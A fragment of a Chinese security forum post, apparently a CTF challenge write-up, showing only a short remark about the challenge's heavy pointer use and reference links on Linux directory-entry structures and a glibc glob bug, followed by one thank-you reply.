exp()

这个题指针有点多,建议画个图

参考

个人对linux内核中的linux_digent64结构体的理解

 

dirent和DIR 结构体 --- 表示文件夹中目录内容信息

 

Linux下DIR,dirent,stat等结构体详解(转)

 

https://elixir.bootlin.com/glibc/glibc-2.23/source/posix/glob.c#L1459

 

https://sourceware.org/bugzilla/show_bug.cgi?id=25733


[招聘] 欢迎你加入看雪团队!

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 6296
活跃值: 活跃值 (3236)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2 2020-11-26 22:11
2
0
感谢分享
游客
登录 | 注册 方可回帖
返回